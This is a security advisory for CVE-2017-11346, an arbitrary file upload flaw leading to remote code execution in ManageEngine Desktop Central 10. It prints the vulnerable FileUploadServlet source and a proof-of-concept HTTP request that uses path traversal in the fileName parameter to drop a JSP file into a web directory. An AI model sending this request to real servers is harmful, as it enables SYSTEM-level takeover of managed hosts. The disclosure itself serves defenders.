ManageEngine Desktop Central 10 Build 100087 RCE

Homepage:

https://www.manageengine.com/products/desktop-central/

CVE-ID

CVE-2017-11346

Description:

When uploading a file, the FileUploadServlet class does not check the user-controlled fileName parameter using hasVulnerabilityInFileName function.

This allows a remote attacker to create a malicious file and place it under a directory that allows server-side scripts to run, which results in remote code execution under the context of SYSTEM.

package com.adventnet.sym.webclient.common;

public class FileUploadServlet extends HttpServlet
{
  private Logger logger = Logger.getLogger("RDSLogger");
  

  public static final String RDS_UPLOAD = "rds_file_upload";
  
  public static final String SCRIPT_LOG_UPLOAD = "scriptLog";
  
  public static final String HELPDESK_VIDEO_UPLOAD = "HelpDesk_video";
  

  public void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
  {
    String sourceMethod = "FileUploadServlet::doPost";
    this.logger.log(Level.INFO, sourceMethod + " -> Received request from : " + request.getRemoteHost());
    String action = request.getParameter("action");
    if ("scriptLog".equals(action)) {
      scriptLogUpload(request, response);
    } else if ("rds_file_upload".equals(action)) {
       rdsScreenUpload(request, response);
     } else if ("HelpDesk_video".equals(action)) {
       helpDeskVideoUpload(request, response);
     }
   }
   
   private void helpDeskVideoUpload(HttpServletRequest request, HttpServletResponse response)
   {
     String sourceMethod = "FileUploadServlet::helpDeskVideoUpload";
     try {
       String action = request.getParameter("action");
       String resourceId = request.getParameter("resourceId");
       String compName = request.getParameter("computerName");
       long customerId = Long.parseLong(request.getParameter("customerId"));
       String videoFileName = request.getParameter("fileName");
       Long nDataLength = Long.valueOf(request.getContentLength());
       try
       {
         PrintWriter responsetoAgent = response.getWriter();
         if ((compName != null) && (FileUploadUtil.hasVulnerabilityInFileName(compName))) {
           this.logger.log(Level.WARNING, "FileUploadServlet : Going to reject the helpDeskVideoUpload request from: compName:{0}", new Object[] { compName });
           response.sendError(403, "Request Refused");
           return;
         }
         
         long freeSpace = RDSUtil.getInstance().getServerFreeSpace();
         if (nDataLength.longValue() < freeSpace) {
           String server_home = DCMetaDataUtil.getInstance().getServerDataDir(Long.valueOf(customerId));
           String fs = File.separator;
           this.logger.log(Level.FINE, sourceMethod + " -> The server home path is : " + server_home);
           String absoluteFileName = server_home + fs + "HelpDesk" + fs + compName + "_" + resourceId;
           if (!ApiFactory.getFileAccessAPI().isFileExists(absoluteFileName))
           {
             ApiFactory.getFileAccessAPI().createDirectory(absoluteFileName);
           }
           absoluteFileName = absoluteFileName + fs + videoFileName;
           String receivedStatus = downloadFile(request, absoluteFileName);
           if ("Success".equalsIgnoreCase(receivedStatus)) {
             response.setHeader("Upload_Status", receivedStatus);
           }
         }
         else {
           this.logger.log(Level.WARNING, sourceMethod + " -> No required Space is availbale to store the video file ");
           responsetoAgent.println("Status :1|Msg :No enough sapce in server to save video file|");
         }
         this.logger.log(Level.INFO, sourceMethod + " -> The method ended ");
       } catch (Exception ex) {
         response.sendError(500, "Problem while retriving video in server");
         this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex);
       }
     } catch (Exception ex) {
       this.logger.log(Level.WARNING, sourceMethod + " -> Exception occured : " + ex);
     }
   }
   

  private String downloadFile(HttpServletRequest request, String destnAbsoluteFileName)
  {
    String status = "Success";
    Long nDataLength = Long.valueOf(request.getContentLength());
    String checkSumValue = request.getParameter("checkSumValue");
    try
    {
      String sourceMethod = "FileUploadServlet::downLoadFile";
      InputStream appIn = request.getInputStream();
      Thread.sleep(5000L);
      OutputStream outputFile = new FileOutputStream(destnAbsoluteFileName);
      this.logger.log(Level.INFO, sourceMethod + "  -----> Method Starts  <-----");
      try
      {
        int numread = 0;
        int count = 0;
        byte[] bytesread = new byte[262144];
        long receivedFileSize = 0L;
        this.logger.log(Level.INFO, sourceMethod + " -> Total Received Data length = : " + nDataLength);
        
        while ((appIn != null) && ((numread = appIn.read(bytesread)) != -1)) {
          count++;
          this.logger.log(Level.FINE, sourceMethod + " -> Going to write the file: count: " + count + " numread :" + numread);
          outputFile.write(bytesread, 0, numread);
          receivedFileSize += numread;
          this.logger.log(Level.FINE, sourceMethod + " -> receivedFileSize: " + receivedFileSize);
        }
        
        String checkSum = ChecksumProvider.getInstance().GetMD5HashFromFile(destnAbsoluteFileName);
        this.logger.log(Level.INFO, sourceMethod + " Generated checksum value is : " + checkSum);
        if ((nDataLength.longValue() != receivedFileSize) || (!checkSum.equals(checkSumValue))) {
          status = "Failed";
        }
      }
      catch (Exception e) {
        this.logger.log(Level.WARNING, " -> Exception occured while writing file: " + e);
      } finally {
        outputFile.close();
        if (appIn != null) {
          appIn.close();
        }
      }
      this.logger.log(Level.INFO, sourceMethod + "  -----> Method Ends  <-----");
    } catch (Exception e) {
      this.logger.log(Level.WARNING, " -> Exception occured : " + e);
    }
    return status;
  }
}

Proof of Concept:

Download Metasploit Module

Send request:

POST /fileupload?action=HelpDesk_video&computerName=hacked&resourceId=1&fileName=\..\..\..\..\jspf\hack.jsp&customerId=1 HTTP/1.1
Host: localhost:8020
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Connection: close
Content-Length: 29

<%= new String("Hello!") %>

Then visit:

http://localhost:8020/jspf/hack.jsp

Timeline: